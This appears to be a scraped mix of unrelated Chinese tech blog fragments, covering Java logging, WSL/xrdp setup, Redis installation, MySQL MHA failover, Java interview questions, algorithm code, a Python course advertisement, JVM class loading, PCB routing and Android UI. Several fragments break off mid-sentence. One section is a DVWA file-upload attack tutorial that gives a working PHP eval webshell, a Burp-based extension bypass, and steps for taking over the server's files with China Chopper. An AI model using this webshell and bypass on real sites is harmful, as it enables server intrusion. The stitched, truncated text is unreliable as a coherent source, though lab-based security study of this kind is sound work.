package com.example; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import java.io.PrintStream; public class MyLog { private static final Logger logger = LoggerFactory.getLogger(MyLog.class); /** * 把System.out和System.err替换为新的PrintStream,用logger.info代替System.out.print和System.err.print * @param SysPrintStream 可以是System.out和System.err * @return 返回新的PrintStream */ public static PrintStream createMyPrintStream(final PrintStream SysPrintStream) { PrintStream myStream= new PrintStream(SysPrintStream) { public void print(final String string) { logger.info(string); } }; return myStream; } /** * 在程序启动时运行这个函数,让logback接管Sytem.out和System.err */ public static void init() { System.setOut(createMyPrintStream(System.out)); //替换System.out System.setErr(createMyPrintStream(System.err)); //替换System.
WSL安装图形界面xfce4 最近想在WSL2里安装一个可视化图形界面,之前装过vcXsrv这种方案,不过最近打不开了,也是尝试了Vnc server 不过容易灰屏,最后在vcXsrv ,Vnc server和 xrdp这3种方案中最终选择了xrdp这种方案,利用Windows的远程连接来连接xfce4桌面
更新升级软件 (可选) sudo apt-get update sudo apt-get upgrade 安装桌面环境xfce4 sudo apt-get install xfce4 xfce4-goodies 注: display manager选择 gdm3 或 lightdm 均可。
设置系统语言 默认情况下,Linux是没有中文语言包的。我们需要手动下载语言包并配置。
# 安装中文字体 sudo apt-get install ttf-wqy-zenhei 之后,我们设置系统的语言:
# 设置系统语言 sudo dpkg-reconfigure locales 方向键找到中文后zh_CN,UTF-8 UTF-8,按空格:
之后再回车确认,然后选择中文:zh_CN,UTF-8 安装远程桌面服务xrdp sudo apt-get install xrdp 修改配置文件xrdp.ini # 复制一份备用 sudo cp /etc/xrdp/xrdp.ini /etc/xrdp/xrdp.ini.bak 配置端口 3389 改为 3390,避免和windows的端口冲突 sudo sed -i 's/3389/3390/g' /etc/xrdp/xrdp.ini max_bpp=32 修改为 128(最大位图深度) sudo sed -i 's/max_bpp=32/#max_bbp=32\nmax_bpp=128/g' /etc/xrdp/xrdp.
1.1.安装Redis依赖 Redis是基于C语言编写的,因此首先需要安装Redis所需要的gcc依赖:
sudo apt install gcc tcl 1.2.上传安装包并解压 利用xftp传输工具将redis安装包上传到linux上,最好是放在/usr/local/src下
解压缩:
tar -zxvf redis-6.2.6.tar.gz 解压后,进入redis目录下
cd redis-6.2.6 安装make:
sudo make install 安装完成后,进入/usr/local/bin 使用"ll"命令得到如下结果即是安装成功
常见查看命令: redis-server :是redis的服务端启动脚本 redis-cli: redis命令行客户端 redis-benchmark: redis性能测试工具 redis-check-aof: AOF文件修复工具 redis-check-rdb: RDB文件检索工具 redis-sentinel: 是redis的哨兵启动脚本 1.3.启动 redis的启动方式有很多种,例如: 默认启动
指定配置启动
开机自启
1.3.1.默认启动 安装完成后,在任意目录输入redis-server命令即可启动Redis:
redis-server 如图:
这种启动属于前台启动,会阻塞整个会话窗口,窗口关闭或者按下CTRL + C,则Redis停止。不推荐使用。
1.3.2.指定配置启动 如果要让Redis以后台方式启动,则必须修改Redis配置文件,就在我们之前解压的redis安装包下(/usr/local/src/redis-6.2.6),名字叫redis.conf:
注意:修改配置文件的时候最好先备份一份,以防止修改错了还可以恢复。
cp redis.conf redis.conf.bck 然后修改redis.conf文件中的一些配置:
可以在末行模式下使用/+要查找的单词 去查找,n是查找下一个
# 允许访问的地址,默认是127.0.0.1,会导致只能在本地访问。修改为0.0.0.0则可以在任意IP访问,生产环境不要设置为0.0.0.0 bind 0.0.0.0 # 守护进程,修改为yes后即可后台运行 daemonize yes # 密码,设置后访问Redis必须输入密码 requirepass lyy05236 Redis的其它常见配置: # 监听的端口 port 6379 # 工作目录,默认是当前目录,也就是运行redis-server时的命令,日志、持久化等文件会保存在这个目录 dir .
目录 一、MHA概念
1、MHA 的组成
2、MHA 的特点
二、搭建MySQL+MHA
1、修改mysql节点的主机名
2、修改三台MySQL服务器的主配置文件/etc/my.cnf,并创建命令软链接
3、配置MySQL一主两从
4、安装 MHA 软件
5、在所有服务器上配置无密码认证
6、在 manager 节点上配置 MHA
7、第一次配置需要在 Master 节点上手动开启虚拟IP
8、在 manager 节点上测试 ssh 无密码认证
9、在 manager 节点上测试 mysql 主从连接情况
10、在 manager 节点上启动 MHA
11、查看相关状态
三、故障模拟
1、故障模拟
2、故障修复步骤
在上篇的传统主从架构中存在着一些问题(例如:单点故障等),将在这篇的博客新增内容解决这些问题。
一、MHA概念 MHA(MasterHigh Availability)是一套优秀的MySQL高可用环境下故障切换和主从复制的软件。
MHA 的出现就是解决MySQL 单点的问题。
MySQL故障切换过程中,MHA能做到0-30秒内自动完成故障切换操作。
MHA能在故障切换的过程中最大程度上保证数据的一致性,以达到真正意义上的高可用。
MHA 的组成 MHA Node(数据节点)
MHA Node 运行在每台 MySQL 服务器上。
MHA Manager(管理节点)
MHA Manager 可以单独部署在一台独立的机器上,管理多个 master-slave 集群;也可以部署在一台 slave 节点上。
MHA Manager 会定时探测集群中的 master 节点。当 master 出现故障时,它可以自动将最新数据的 slave 提升为新的 master, 然后将所有其他的 slave 重新指向新的 master。整个故障转移过程对应用程序完全透明。
一、Java基础 1. Java有哪些基本数据类型? byte、short、int、long、float、double、char、boolean。
2. Java类型转换。 从小类型到大类型,直接转。
从大类型到小类型,需要在强制类型转换的变量前面加上括号,然后在括号里面标注要转换的类型。强制类型转换可能导致溢出或损失精度。
3. 自动拆装箱。 自动装箱:将基本数据类型自动转换成对应的包装类。
自动拆箱:将包装类自动转换成对应的基本数据类型。
4. 基本数据类型缓冲池 事先缓存-128至127之间的整型数字,当需要进行自动装箱时,直接使用缓存中的对象,而不是重新创建一个新对象。
这个范围可以通过 -XX:AutoBoxCacheMax=size 参数进行调整。
5. 抽象类和接口的区别? 抽象类是可以包含抽象方法的类,被abstract修饰。单继承。
接口就是接口。多实现。
6. 内部类有哪些优点? 有效实现了多继承。
匿名内部类可以很方便地定义回调。
Java内部类详解:Java 内部类详解 | 菜鸟教程
7. Java有哪些引用类型? 强、软、弱、虚。
强引用:Java默认的引用类型,垃圾回收器永远不会回收被引用的对象。
软引用:用来描述一些非必需但仍有用的对象,软引用对象在内存足够时不会被回收,在内存不足时会被系统回收。常被用来实现缓存技术。
弱引用:只要JVM进行垃圾回收,就会回收弱引用对象。经典使用场景是ThreadLocal中的ThreadLocalMap中的Entry,它的key弱引用了一个ThreadLocal对象。
虚引用:随时可能会被回收,无法通过虚引用来获取对象。虚引用必须要和引用队列ReferenceQueue一起使用。
8. 类的初始化顺序。 先静态,再非静态。
先父类,再子类。
先属性/方法,再构造器。
9. Java中的修饰符。 public、protected、default、private。
static、final、abstract、synchronized、volatile。
10. final关键字。 修饰类,类不能被继承。
修饰方法,方法不能被重写。
修饰变量,变量在初始化后不能再被赋值。
11. switch支持的数据类型。 byte、short、int、char。
enum、String。
12. 面向对象三大特性。 封装、继承、多态。
13. Java是如何实现多态的? 继承父类或实现接口。
14. 重载和重写的区别。 重载:同一个类中的同名方法,根据参数列表类型不同来区分。
重写:父类和子类中的同名方法。重写方法的访问修饰符不能比父类中被重写的方法的访问权限更低。
15. Object类有哪些常见方法? equals():判断相等。
hashcode():获取哈希值。
目录
一 、线性时间选择问题
二、众数问题
三、求逆序对数
四、棋盘覆盖问题
一 、线性时间选择问题 任务描述
给定线性无序数组n个元素和一个正整数k,1≤k≤n,要求在线性时间找到这n个元素的第k小。
相关知识
排序求第K个元素。由于排序算法的时间复杂度都在O(nlogn),因此不满足线性时间要求。借用快速排序中的划分Partition思想,选一个基准元素,将比基准元素小的放到左侧,比基准元素大的放到右侧,如果基准元素的位置是j,则比较k与j的大小: k==j 则基准元素刚好是第k小元素,返回k<j 则第k小在左侧,对左侧递归找第k小k>j 则第k小在右侧,对右侧递归找第j-k小 该方法效率取决于每次选择的基准元素,如果基准元素能将数组每次分成ϵn和1−ϵn(0<ϵ<1)两部分,则能在线性时间完成找第k小任务;如果每次选择基准元素是最大值或最小值,则退化成最坏情况,时间复杂度为O(n2)问题的关键变成如何在线性时间找一个基准元素,能将数组划分成ϵn和1−ϵn(0<ϵ<1)两部分.思想如下: 将所有元素每5个一组,分成n/5组,将每组的中位数找到以所有中位数的中位数做为基准元素 编程要求
完成一个冒泡排序函数:
void BubbleSort(Type a[],int p,int r) 完成根据基准元素x进行划分的函数:
int Partition(int a[],int p,int r,Type x) 完成线性时间选择数组a[p]~a[r]的第k小函数:
int Select(int a[],int p,int r,int k) 数组元素个数小于等于75时,直接用冒泡排序,返回第k小数组元素个数大于等于75时,调用Select函数,返回第k小 测试说明
函数中数组的元素是整型,返回值也是整型。
输入的数组元素是整型,且不重复。 代码如下:
#include<iostream> using namespace std; //p 为起始元素,r为最后一个元素地址, //线性排序,找数组中第k小的数 int Select(int a[],int p,int r,int k); //冒泡排序 void Bubblesort(int a[], int p, int r); //交换两个元素位置 void Swap(int& a, int& b); //将x作为基准数,将数组分割,返回x的位置 int Partition(int a[], int p, int r, int x); int main() { int a[1000] = { 0 }, n, k; cin >> n; for (int i = 0; i < n; i++) cin >> a[i]; cin >> k; cout << Select(a, 0, n - 1, k) << endl; return 0; } void Swap(int& a, int& b) { int temp = a; a = b; b = temp; } int Partition(int a[], int p, int r, int x) { int i = p - 1, j = r + 1; //将比x大的数换到x右边,小的数换到左边 while (true) { //i从x右边找到第一个大于等于x的数 while (a[++i] < x && i < r); //j从最后一个元素开始找到第一个小于等于x得数 while (a[--j] > x && j > p); if (i >= j) break;//找到基准值的位置,j Swap(a[i], a[j]); } return j; } void Bubblesort(int a[], int p, int r) { int n = r - p + 1; for (int i = 0; i < n - 1; i++) { for (int j = 0; j < n - 1 - i; j++) { if (a[j] > a[j + 1]) { Swap(a[j], a[j + 1]); } } } return; } int Select(int a[], int p, int r, int k) { if (r - p < 75)//数组元素较少时,直接利用排序来找 {//随便用一种排序,这里用的是冒泡排序 Bubblesort(a, p, r); return a[p + k - 1];//返回第k小的元素 } //分成n/5组,每组5个元素,找到每组的中位数并放到数组前边 for (int i = 0; i <= (r - p - 4) / 5; i++) { int pp = p + i * 5, rr = p + 5 * i + 4; Bubblesort(a, pp, rr); int mid = (rr - pp + 1) / 2 + pp; Swap(a[mid], a[p + i]); } //找各组中位数的中位数--在if语句中返回 int x = Select(a, p, p + (r - p - 4) / 5, (r - p - 4) / 10 + 1);//(r-p-4)/5元素的个数,(r-p-4)/10+1指要找第几个数。 //按照中位数划分,i为x在数组中的位置 int i = Partition(a, p, r, x); //求比中位数x小的数组的长度 int len = i - p + 1; if (k <= len)//则k在较小数中 { return Select(a, p, i, k); } else { return Select(a, i + 1, r, k - len); } } 二、众数问题 任务描述
Python可以说是目前最火的网红编程语言,虽然它在近几年在逐渐流行起来,但其实它已经发展了近三十年。那么,为什么Python现在这么火呢?一方面人工智能和大数据的崛起带红了Python,另一方面无论是软件开发者还是非编程工作者都发现了在当下这个时代掌握一门编程语言的必要性。而Python简洁的语法,让它备受学习者的青睐!
原因一:简洁易学 Python编程语言的特点就是语法简单、语句清晰。这就让初学者在学习阶段可以把精力集中在编程对象和思维方法上。换句话说,与其他的编程语言相比较起来,Python真的太好学了!因为Python被设计得非常容易读和写,所以它是一门通用的语言,有时甚至可以说是功利主义。对于编程零基础的初学者来说,Python降低了学习编程的门槛,这就使得这门语言现在如此火爆。对于程序员和开发者来讲,掌握多门语言是职业的需要,而学习一门语言的时间和精力成本往往很高,因此Python就算不是他们学习编程语言的首选,也一定是必须掌握的第二或第三语言。
原因二:应用广泛 Python算得上是一种多才多艺的语言,从网站搭建到数据处理再到小工具小游戏的设计,都能用到Python。比如,当涉及数据科学、统计学、分析、ML 时,Pyhton 是你最想使用的语言之一。并且Python也非常适合开发Web应用程序。另外,Python 正在成为很多数据科学家的宠儿,因为它的很多库是专为统计和数值分析而设计的。除了上面提到的,Python 还支持更多的应用场景,如数据库连接、网络、编程、机器人、网络爬虫、AI等。
原因三:功能强大 一门语言能够火起来,除了一些外在的因素,最重要的就是它自身的语言优势,即功能强大。Python有着非常优秀的一系列库,从科学计算的NumPy和SciPy到网络开发的Django。它相比别的高级语言集成度更高,开源可以调用的类库实在太多了,要实现一个功能,如果换作传统的编程语言,需要实现基本的功能模块,但直接调用类库很方便的搞定。即使你是一个领基础的初学者,也能在很快通过几行代码实现很强大的功能。比如说你在从事庞大的项目,这个时候库可以帮助你节省时间,以及缩短最初的开发周期。总之,Python一直专注于如何解决问题,自由开放的社区环境以及丰富的第三方库,让更多的开发者无需浪费时间去造轮子,从而提高工作效率。
为什么Python现在这么火? 相信答案是显而易见的。在Python还处于语言发展的高峰期的时候,如果你能够快速学出来,其职业发展前途一定十分光明。当然了,无论你是不是IT领域的从业者,学习Python对你来讲都是有百利而无一害的。正如那句话说的那样:人生苦短我用Python!在全民学习编程的热潮中,我们有理由相信Python 将会像英语一样成为一项必备技能。加油吧,只有在时代的浪潮中不断前进,才能不被时代所抛下!
Python都可以做哪些副业? 1、兼职处理数据 Excel整理数据功能虽然很强大,但在Python面前,曾经统治职场的它也的败下阵来。因为Python在搜集数据整理分析数据的过程中更加便捷,通过几行代码还可以实现自动化操作。如果你学会Python,便可以从网上找一些数据筛选、汇总的兼职工作来赚点小钱。
2、兼职查询资料 学会Python之后,很容易通过几行代码在网络上爬取各种各样的资源。目前有很多工作,都会招一些查阅汇总资料的兼职。学会Python的小白,便可以利用业余时间,通过Python帮助个人或者一些公司企业进行资料搜罗整理,还可以赚一笔小钱丰富自己的生活。
3、兼职P图 通过Python可以利用相关代码进行批量处理图片,不管是缩放、旋转、镜像、裁剪、灰度、添加文本等等,都可以在Python的帮助下获得,再也不用一张一张去P图了。如果学会了Python进行P图,平时可以和一些照相馆合作,帮助他们处理大量图片。
知道你对python感兴趣,所以给你准备了下面的资料~ 这份完整版的Python全套学习资料已经上传,朋友们如果需要可以点击链接免费领取或者滑到最后扫描二v码【保证100%免费】
python学习资源免费分享,保证100%免费!!! 需要的话可以点击这里👉Python学习路线(2023修正版)附涉及资料 (安全链接,放心点击)
文末有福利领取哦~ 一、Python所有方向的学习路线 Python所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
二、Python必备开发工具
三、精品Python学习书籍 当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。
四、Python视频合集 观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。
五、实战案例 光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。
六、Python练习题 检查学习结果。
七、面试资料 我们学习Python必然是为了找到高薪的工作,下面这些面试题是来自阿里、腾讯、字节等一线互联网大厂最新的面试资料,并且有阿里大佬给出了权威的解答,刷完这一套面试资料相信大家都能找到满意的工作。
👉这份完整版的Python全套学习资料已经上传,朋友们如果需要可以扫描下方CSDN官方认证二维码或者点击链接免费领取【保证100%免费】
Python学习路线(2023修正版)附涉及资料《Python学习资料》,已经打包好了,自取【ps:需要领取的资料(请备注清楚,查找与发送给你)】。因链接常https://mp.weixin.qq.com/s/UVxw0daFCgAMFhz9cfrjAQ
1、下载gpu_burn,工具 git clone GitHub - wilicc/gpu-burn: Multi-GPU CUDA stress test 2、查看GPU的compute capability 方法1:进入官网查看: CUDA GPUs - Compute Capability | NVIDIA Developer 方法2: 使用nbody -benchmark 查看ompute capability反馈值 3、解压gpu_burn文件,并进入,make可执行文件 make -j COMPUTE=80 (80:是步骤2得到的ompute capability数值) 4、执行 ./gpu_burn -tc 43200 (43200:此数值为时间,单位是秒,4320指的是12小时) 5、查看状态 nvidia-smi:查看所有GPU的TDP到达95%以上 Xcc web: 查看xcc web utilzation中的power utilzation 中记录的TPD值稳定,没有意外下降,如下图:
你要先搞清楚这些 类加载这个知识点在Java知识体系中属于哪个位置?,稍微熟悉一点的肯定知道,必须是==Java虚拟机啊== ,是的没错,请记住这句话:
学Java必须学习Java虚拟机,JVM不会,你不是一个合格的Java程序员,被淘汰的可能性很大~
有人说了,咋回事,看你一篇文章,还没开始呢?我都不算是Java程序员了?
唉,毕竟我总为你们着想~
Java的类加载属于 JVM虚拟机的知识 一般在学习虚拟机的时候出现,平常基础学习可以先不了解~
啥意思呢?你环境变量还没搞清楚呢?还去弄类加载?不现实啊,不过你还别说,我在教一些人学Java的时候还真发现,好多人对环境变量这块还真是一知半解~
不信,我考你一个问题,俩吧,如下:
请问javac --version输出的是什么的版本?再请问java --version输出的是什么版本? 很多人的基础其实真的差,比如你说下,Java中的引用数据类型包括哪四种?
懵x了吧?
咋又扯远了,不说了,讲回咱们的类加载,那么在学习类加载之前,请你一定记住如下这句话:
类加载核心目的:把存在本地的Java源代码经过javac编译生成的字节码文件(xxx.class 二进制文件)加载到内存中去,让其成为可执行状态,即可用
请把这读个十遍,理解个一二,咱们再继续~
这个时候,你要动脑筋思考了,为啥要加载啊?
然后再请你记住这么一句话:
**为啥要加载**:任何程序想要运行都需要加载进内存中
感觉到了没?看到没,这就是干货啊~
接下来,你还要再思考一个问题,就是这个加载操作谁来完成?谁去执行这个加载动作?
别想了,是JVM,具体就是用ClassLoader,也就是类加载器,也是一个类,不过由JVM去操作,对于我们来说,是无感的~ (加载进内存后还有很多操作)
走神了?可千万别,接下来的内容超级重要,啥嘞?
挺好了,字节码文件对应一个由JVM生成的Class对象,把这句话狠狠的记在心里,然后继续听我给你说:
Java源码和编译生成的字节码文件是我们可以真实看到的,也就是Hello.java和Hello.class,这个时候有一个很重要的知识,就是字节码文件加载进内存后会产生一个与之对应的Class对象,这个Class对象是真实存在的Class类(lang包下,final类型)的一个实例,这个对象主要由JVM去操作~
上面都是重点,没有废话,那好,到了这里,如果你的理解能力一绝的话,那上面的这些看懂了,就OK了,下面的基本上不用咋看~
but我觉得在看的各位,理解能力都是0.5绝,还差点意思,那就老实听着我给你继续唠一唠
要知道大概的步骤 到了这里,我们就直接上干货,首先,你要清楚,类加载的步骤,主要有这么个回事:
加载(领路人):找到字节码文件,将其送进内存中(对应的Class对象)链接(又分为三个小阶段) 验证(过安检):就是看看你这个字节码正不正经,必须是安全可靠的字节码文件,比如检查魔数等准备:为静态字段分配内存并设置默认值解析:符号引用(一个代指,不知道具体在哪)转换为实际引用(具体的位置)初始化:设置类的正确初始值,JVM开始初始化类(执行client方法),完成这不,类才真实成为可执行的状态~ 也就是说,总计三个大步骤,一共是五步,我就习惯上说5步,也就是加载,验证,准备,解析,初始化,这五步操作,要闭着眼睛都能倒背如流~(倒背我没试过,要不你试试也不是不可以)
然后对于类加载的这五步,总结一下就是:
类加载通过三个大阶段,共计5个步骤,将类从外部加载进内存中,使其变得可用,也就是产生了一个Class对象!
以上依然是没有废话,每一个字,每一个词都很重要,==务必仔细阅读理解==,学到了,那就是你的~
这里有一个需要注意的就是加载,验证,准备和初始化这四个阶段的顺序是确定的,但是解析这一阶段就不一定了,它也有可能在初始化之后才开始,这是为了支持java的运行时绑定,另外以上这几个阶段是按顺序开始,但是可没有说按顺序结束,也就是他们一般情况下都是混杂着进行的。
把每个步骤单独拎出来说一说 接下来,我们对每一个步骤再单独拿出来说一说,看一看,这几个步骤都是怎样的?重点清楚,每个步骤,到底干了啥?
加载阶段 这一阶段其实就是类加载器真正作用的阶段,这一阶段主要做的事情就是把字节码文件安全的放到内存中,工作就完成了,然后你还要特别清楚的一件事情就是,在这个阶段:
是将class文件读入内存,并为之创建一个Class对象
注意到重点了吧,产生了一个Class对象,这个一定记住了,把这个阶段干的事情稍微细化下就是:
(1):通过一个类的全限定名来获取定义此类的二进制流(啥玩意?理解成字节码文件就完事了)
(2):将这个字节流所代表的静态存储结构转化为方法区的运行时数据结构
(3):在内存中生成一个代表这个类的java.lang.Class对象,作为方法区这个类的各种数据的访问入口(重点)
然后稍微总结一下就是,这个加载阶段,它是一个过程,这个过程的结果就是将字节码文件(二进制表示)加载进内存中生成对应的一个Class对象,这个Class对象表示的就是该类的一个映射,就是在内存中对应的该类一个存在形式,我们通过操作这个Class对象来实现对该类的一些操作~
OK,注意理解,一定注意理解~
验证阶段 这个阶段,其实人家的名字就说的很清楚了,就是俩字==验证==,也就是说,在这个阶段里,主要就是确保加载的**类的正确性**,以防加载对虚拟机有危害的类。这样的话对安全的类就有一个评判标准,一般有如下验证步骤:
• 文件格式验证:验证字节流是否符合Class文件格式的规范;例如:是否以0xCAFEBABE开头、主次版本号是否在当前虚拟机的处理范围之内、常量池中的常量是否有不被支持的类型。
• 元数据验证:对字节码描述的信息进行语义分析(注意:对比javac编译阶段的语义分析),以保证其描述的信息符合Java语言规范的要求;例如:这个类是否有父类,除了java.lang.Object之外。
• 字节码验证:通过数据流和控制流分析,确定程序语义是合法的、符合逻辑的。
• 符号引用验证:确保解析动作能正确执行。
然后对于这一阶段,还有一个需要特别注意的地方就是:
验证这一阶段其实是非常重要的,是用来保证虚拟机的安全,但是这一阶段却不是必须的,什么意思呢?也就是说,当你确定你这个类是安全的,比如你经过反复验证,这个类符合虚拟机规范,很安全,就可以考虑采用Xverifynone参数来关闭大部分的类验证措施,以缩短虚拟机类加载的时间。
准备阶段 到了准备这个阶段,依然是需要着重搞清楚,在这个阶段里面主要是做了哪些事情?
那么在这个准备阶段,它到底干了哪些事情?
正式为类变量(静态全局变量,也就是被static修饰的变量)分配内存并设置类变量默认值的阶段,这些变量所使用的内存都将在方法区中进行分配。
所以,看到重点了吗?注意了,就是为类变量赋值,而且是默认值,记着这点那对准备阶段来说就是OK的了~
最近有新项目需要搭建,发现composer安装项目有报错信息
PHP Deprecated: Return type of Symfony\Component\Console\Helper\HelperSet::getIterator() should either be compatible with IteratorAggregate::getIterator(): Traversable, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in phar:///usr/local/bin/composer/vendor/symfony/console/Helper/HelperSet.php on line 112 Deprecated: Return type of Symfony\Component\Console\Helper\HelperSet::getIterator() should either be compatible with IteratorAggregate::getIterator(): Traversable, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in phar:///usr/local/bin/composer/vendor/symfony/console/Helper/HelperSet.php on line 112 初步排查,composer库不是新的了
经过翻译,果然是版本长时间没更新,Composer version 2.0.13 有些方法弃用了
查看当前composer版本和基本信息
composer -V composer 确定了当前版本,就可以升级下版本看结果了
目录 PADS VX2.7学习记录06-PADS Router软件功能操作一、PADS Router软件常规参数设置二、PADS Router颜色偏好显示设置三、走线、打孔常用命令介绍四、BGA元件扇孔功能介绍五、覆铜平面功能介绍六、添加差分对及其规则设置七、蛇形等长组的添加及绕绘介绍 PADS VX2.7学习记录06-PADS Router软件功能操作 一、PADS Router软件常规参数设置 工具——选项
二、PADS Router颜色偏好显示设置 根据自己喜欢的颜色设置即可
三、走线、打孔常用命令介绍 PADS Router软件中,走线是F3快捷键
修线是Shift+S
走线时,打孔F4
四、BGA元件扇孔功能介绍 1、根据BGA的大小,先确定过孔的大小
2、设置规则,安全间距,线宽,过孔
3、操作命令:编辑——特性
4、选择BGA器件,鼠标单击右键,选择扇出即可
链接: BGA扇出介绍
五、覆铜平面功能介绍 PADS Router软件新增了覆铜功能,但大多数还是在PADS Layout软件上面使用覆铜。
链接: Router工具铜皮绘制
六、添加差分对及其规则设置 差分传输是一种信号传输的技术,区别于传统的一根信号线一根地线的做法,差分传输在这两根线上都传输信号,这两个信号的振幅相等,相位相差180度,极性相反。在这两根线上传输的信号就是差分信号。
一般在PCB设计时,习惯的硬件命名上,会在差分信号的信号名尾部加“+”和“-”或者“P”和“N”作为标识,大家可以通过命名来识别差分信号。常规的差分信号处理方法是:
差分信号走线要耦合处理,就是2根信号线在PCB设计时是紧挨着耦合的,不允许分开走线。
一对差分信号的2根信号线之间需要做等长处理,等长范围为5mil,等长不需要做到更小,有仿真验证,等长范围做到5mil以下(1mil)并不能对信号质量有很大提升。等长处理的位置选择在产生长度误差的地方,等长需要做小波浪处理。
1)首先,通过原理图识别出差分信号,在PCB内右击选择“选择网络”,将一对差分网络选中右击选择“建立差分网络”,
2)查看“项目浏览器”中的“网络对象”下面的“差分对”元素,可以看到生成的差分对。
3)创建好差分对,可对差分对进行规则设置。在“差分对”底下选择创建的差分对名称,右击选择“特性”,
4)在弹出的“差分对特性”页面进行差分对线宽线距值添加,若是多层项目设计,则可使用“添加”按钮对层规则进行添加。如图6-55所示。线宽与间隙值须根据阻抗计算值进行设置。
图6-55 设置差分对特性
5)执行交互式布线命令(快捷键F3)可进行差分布线,如图6-56示。在走线命令中可以通过右键进行一些特殊操作,如添加拐角,单根布线(快捷键Shift+Z)等,如图6-57示。
图6-56 差分对布线
图6-57 右键功能选项
6)布线时遇到DRC会导致差分布线失败,且因拓扑情况,导到差分信号间连到距离很近,但是不能直接连上,此时可切换到Layout内进行拉通,再进行修线处理,修线时建议设置格点为0,以便使差分耦合布线。修差分信号对的线时,可观察信号的保护带,正常情况下差分对信号与另一信号保护带是贴着的,若有空隙则证明差分对不耦合,需要修线处理。如图6-58示。
七、蛇形等长组的添加及绕绘介绍 在做PCB设计时,为了满足某一组所有信号线的总长度满足在一个公差范围内,通常要使用蛇形走线将总长度较短的信号线绕到与组内最长的信号线长度公差范围内,这个用蛇形走线绕长信号线的处理过程,就是俗称的PCB信号等长处理。如图6-59示。
一般做等长是为了满足系统对信号组的等时,即为了满足此组内信号的时序须满足系统要求。比如对于DDR,其数据信号每8位一组,做+/-25mil处理,如果此组信号等长没有在此公差范围内,信号线长度相差太大,会导致其相对延时较长,最终导致DDR运行速率不高。但是我们做设计时有时发现DDR器件等长没有做,其成品也可正常运行,并没产生影响,原因一般是系统软件对此信号做了延时处理,软件上做了时序控制。对于带状线来说,每1ps延时对应的走线长度是6mil左右,所以一般信号组长度每相差6mil,其总延时在1ps。一般我们做设计时等长并不用控制的太小,控制到+/-10mil左右就已经很好了。+/-10mil 等长和+/-1mil 等长,在时间上的差异不超过 4ps,一般的IC信号裕量都不止4ps,所以做等长时没必要控制的过小,从而导致自己设计走线困难。差分信号等长是为了满足相位,一对差分信号相位相差180度,如果长度相差太大,会导致其相位偏移过大。一个设计上具体哪些信号需要进行蛇形等长处理,可查阅高速接口或者芯片模块的设计规范。
1)首先设置匹配长度网络组,在Router里面选中需要设置的多根网络(ctrl+鼠标左键),鼠标右键在弹出的对话框点击“建立匹配长度网络组”,如图6-70示。
图6-70 设置匹配长度网络组
2)设置等长容差参数,即等长长度差范围。在项目浏览器中,选中“网络对象-匹配长度网络组”,右键打开对话框,点击“特性”选项,在“匹配长度组特性”页设置容差值,如图6-71示。
图6-71 设置容差值
3)执行菜单命令“工具-选项”,在弹出的“选项”对话框中的“布线/调整”标签页下设置蛇形走线的参数,如图6-72示。最小间隙设置为3倍线宽,至少2倍以上,不能设置过小。
图6-72设置间距
4)设置完成后可进行等长处理,先将信号线连通,然后在需要进行等长的位置,删除一段信号线,点击“F3”点击到线头位置,拉线过程鼠标右键,然后选择“添加蛇形走线”(或者按组合快捷键“Shift+A”),如图6-73示。
图6-73 添加蛇形走线
5)等长过程中,注意设置好格点,等长布线时注意拉线控制好方向,歪了或者有DRC可能导致软件等长失败,须多操作几遍,不熟悉等长操作的或者空间不足会导致等长困难。
6)执行“添加蛇形走线”后,软件会计算蛇形等长的形状,将鼠标往布线前方移动,会自动生成蛇形线,点击选择蛇形等长的最高位置,再点击最低位置,再向前移动,软件会自动生成移动方向的蛇形线,到结束位置点击一下,右击选择“完成蛇形走线绘制”,将信号连通完成蛇形布线,如图6-74示。
1、常见漏洞分类 2、常见验证手段 可抓包后修改扩展名为图片格式,再上传可绕过验证。如:
可以修改php文件后缀为其他,再上传。如test.php.xxx
可对图片文件添加一句话木马,再修改为.php上传,会解析为图片上传此文件。
客户端验证绕过的方法有: 例:
3、一句话木马 1)木马分为大马、小马和一句话木马: 小马:文件体积小、上传文件、文件修改、文件管理
大马:文件体积较大、功能齐全、能够提权、操作数据库等(不推荐)
一句话木马:短小精悍、功能强大、隐蔽性好、客户端直接管理(主流)
2)中国菜刀工具使用: 百度下载工具——运行caidao.exe
这里以php为例
首先我们先将php一句话木马上传到目标服务器中,用菜刀去尝试连接
新建一个php文档,输入一句话木马:<?php @eval($_POST['x']);?> 保存为10.php。
注意:x为菜刀连接时密码,可修改为其他字符。
再将10.php重命名为10.php.jpeg。(目标网站过滤上传jpeg和png文件)
打开burp软件,开启捕获。
再选择10.php.jpeg文件上传
将文件名修改为10.php,上传文件类型仍然是image/jpeg,可绕过上传过滤。
brup中关闭捕获。
dvwa中可见上传成功了!
../../表示当前路径的上一级、上一级。
复制上传成功后的路径,粘贴到当前浏览器地址的上一级、上一级得到完整路径。
即:http://ip/hackable/uploads/10.php
复制此路径,在菜刀中右键——添加——粘贴到地址栏——后面栏输入密码x——脚本类型选php——编码选gb2312——添加。
再右键此站点,选择要执行的命令——选文件管理,可操作此服务器上所有文件。
先上效果图:
参考:
Android实现TextView内容可展开收缩功能
网上有很多实现的办法,但是大多都比较麻烦,发现上面那篇文章的方法实现的比较简单,所以进行了尝试
首先定义变量 private boolean isExpand; private Runnable resumeRunnable; private String describtionStr = "内容"; private TextView content; 在onCreate函数里添加: content = findViewById(R.id.tv_content); content.getViewTreeObserver().addOnGlobalLayoutListener(new ViewTreeObserver.OnGlobalLayoutListener() { @Override public void onGlobalLayout() { //让简介折叠 content.setText(describtionStr); resumeRunnable = new LineContent(content, describtionStr); content.post(resumeRunnable); content.getViewTreeObserver().removeOnGlobalLayoutListener(this); } }); 然后在onCreate函数外添加: private class LineContent implements Runnable { private TextView mTarget; private String mContent; public LineContent(TextView mTarget, String mContent) { this.mTarget = mTarget; this.mContent = mContent; } public void run() { if (null !
